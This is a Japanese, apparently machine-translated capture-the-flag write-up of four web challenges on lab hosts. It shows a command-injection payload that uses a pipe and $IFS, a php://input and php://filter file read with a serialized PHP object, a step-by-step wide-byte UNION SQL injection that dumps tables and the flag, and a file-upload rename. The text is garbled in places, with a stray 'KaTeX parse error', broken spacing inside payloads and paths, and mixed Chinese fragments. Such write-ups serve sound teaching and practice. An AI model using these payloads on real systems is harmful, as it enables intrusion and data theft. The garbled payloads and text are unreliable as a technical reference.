0x01はじめに
とにかく、あるグループの内部予選でのある「クラフトマンカップ」大会の前は、何もすることがなかったので、ウェブの質問を見て、簡単な記録を作りました。
0x02Web質問
2.1コマンドの実行
1.データパケットの観点から、ipでコマンドが実行されていると推測できます。フィルタリングは少しありますが、フィルタリングは完了していません。試行後、ip = 127.0.0.1 | ls&submit = PINGは成功します(ここでのコードフィルタリングはほとんどdvwaであると推測されます)コマンドの実行は( '|' => '')と同じです。その後に余分なスペースがあるため、突破できます)
postをビルドし、ip = 127.0.0.1 | ls&submit = PINGを送信して、flag.php2を確認します
。 ip = 127.0.0.1 | pwd&submit = PINGで、パスは/ var / www / htmlです。3
。直接読むと、スペース、ペイロードのフィルターがあることがわかります。ip= 127.0.0.1 | cat $ IFS / var / www / html / flag.php&submit = PINGはフラグを取得できます
2.2逆シリアル化
1.指定されたアドレスに直接アクセスすると、コードのヒントが表示されます
you are not admin !
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}
-->
2.コメントされたコードから、user、file、passの3つのパラメーターが渡され
、次にブレークスルーされることがわかりますif(isset(KaTeX parse error:Expected'EOF '、got'& 'at position 6:user)&̲&(file_get_cont … user、 'r')===“ user is admin”))
つまり、user変数はuser is adminと等しくなければなりません。
コメントによると、file = class.php
パス変数はプロンプトされたコードにあります。あまり意味がないので
、当面は無視してかまいません。まず、ここで突破する必要があります。
次のように、投稿データパッケージを作成するためのphp疑似プロトコルphp:// inputを
考えました。POST/?user = php://input&flie=class.php HTTP / 1.1
ホスト:192.168.1.1: 56782
Cache-Control:max-age = 0
Upgrade-Insecure-Requests:1
User-Agent:Mozilla / 5.0(Windows NT 10.0; Win64; x64)AppleWebKit / 537.36(KHTML、Geckoなど)Chrome / 84.0.4147.105 Safari / 537.36
受け入れる:text / html、application / xhtml + xml、application / xml; q = 0.9、image / webp、image / apng、/; q = 0.8、application / signed-exchange; v = b3; q = 0.9
Accept-Encoding:gzip、deflate
Accept-Language:zh-CN、zh; q = 0.9
接続:close
Content-Length:17
ユーザーは管理者であり
、class.phpを含める必要があります。class.phpの場所が不明なため、phpの別のカプセル化プロトコルが使用されます。php:// filterは
、このプロトコルを使用して任意のファイルを読み取ることができます。使用方法:php: //filter/convert.base64-encode/resource=index.php
ここで、読み取ったindex.phpのコンテンツをbase64形式の
POST /?user = php:// input&file = php:// filter / convertに変換します。 base64-encode / resource = class.php HTTP / 1.1
ホスト:192.168.1.1:56782
キャッシュ制御:max-age = 0
アップグレード-安全でない-要求:1
ユーザーエージェント:Mozilla / 5.0(Windows NT 10.0; Win64; x64 )AppleWebKit / 537.36(KHTML、Geckoなど)Chrome / 84.0.4147.89 Safari / 537.36承認
:text / html、application / xhtml + xml、application / xml; q = 0.9、image / webp、image / apng、/ ; q = 0.8、application / signed-exchange; v = b3; q = 0.9
Accept-Encoding:gzip、deflate
Accept-Language:zh-CN、zh; q = 0.9
接続:閉じる
コンテンツ-長さ:17
ユーザーは、ADMINザ・IS
PD9waHAKCmNsYXNzIFJlYWR7Ly9mMWFnLnBocAogICAgcHVibGljICRmaWxlOwogICAgcHVibGljIGZ1bmN0aW9uIF9fdG9TdHJpbmcoKXsKICAgICAgICBpZihpc3NldCgkdGhpcy0 + ZmlsZSkpewogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICJfX3RvU3RyaW5nIHdhcyBjYWxsZWQhIjsKICAgIH0KfQo / PGO =
コードでのデコード星BASE64
<?php
class Read{
//f1ag.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
?>
これに基づいて、逆シリアル化パラメーターを作成できます。具体的なデータパッケージは次のとおり
です。POST/?user = php://input&file=class.php&pass=O:4: "Read":1:{s:4: "file"; s: 57: "php://filter/read=convert.base64-encode/resource=f1ag.php";} HTTP / 1.1
ホスト:192.168.1.1 :56782
キャッシュ制御:max-age = 0
Upgrade-Insecure-Requests: 1
ユーザーエージェント:Mozilla / 5.0(Windows NT 10.0; Win64; x64)AppleWebKit / 537.36(KHTML、Geckoなど)Chrome / 84.0.4147.89 Safari / 537.36承認
:text / html、application / xhtml + xml、application / xml; q = 0.9、image / webp、image / apng、/ ; q = 0.8、application / signed-exchange; v = b3; q = 0.9
Accept-Encoding:gzip、deflate
Accept-Language:zh-CN、zh; q = 0.9
接続:
コンテンツを閉じる-長さ:17
ユーザーは管理者であり
、base64デコードを使用してフラグを取得します
2.3バイトの秘密
タイトルの説明:パラメータIDが
sql1.phpに直接アクセスし、文字化けしていることと、タイトル自体によって指定されたヒントIDがワイドバイトインジェクションである可能性がある
ことを確認しました。試してみたところ、ワイドバイトインジェクションであることがわかりました。
http://192.168.1.1:3036/sql1.php?id=%df'
1.ライブラリをバーストします
http://192.168.1.1:3036/sql1.php?id=%df%27%20union%20select%201,%20database()%23得出数据库pwnhubsql1
2.バースト
http://192.168.1.1:3036/sql1.php?id=%df%27union%20select%201,group_concat(table_name)from%20information_schema.tables%20where%20table_schema=database()%23两个表article,flag
3.
テーブル名に応じたフラグテーブルの爆発テーブルフィールドの推測。ここでは、テーブルフラグが16進数に変換されます。
http://192.168.1.1:3036/sql1.php?id=%df%27union%20select%201,group_concat(column_name)from%20information_schema.columns%20where%20table_name=0x666c6167%23爆出字段id,thisisflag
4.旗を破裂させる
http://192.168.1.1:3036/sql1.php?id=%df%27union%20select%201,hex(group_concat(thisisflag))%20from%20flag%23
この数字の文字列を16進数でデコードして、フラグを取得します
2.4ファイルのアップロード
この質問はもっと皮肉なもの
です。1。写真をアップロードするだけで、give_me_flag.phpを渡してほしいと言われ、フラグを付けました。2
。フラグを取得するために、名前をgive_me_flag.phpに変更しました。
0x03の概要
一般的に、質問は比較的単純で、特別な困難はありません。楽しみのために、エムなどのためにそれを行ってください。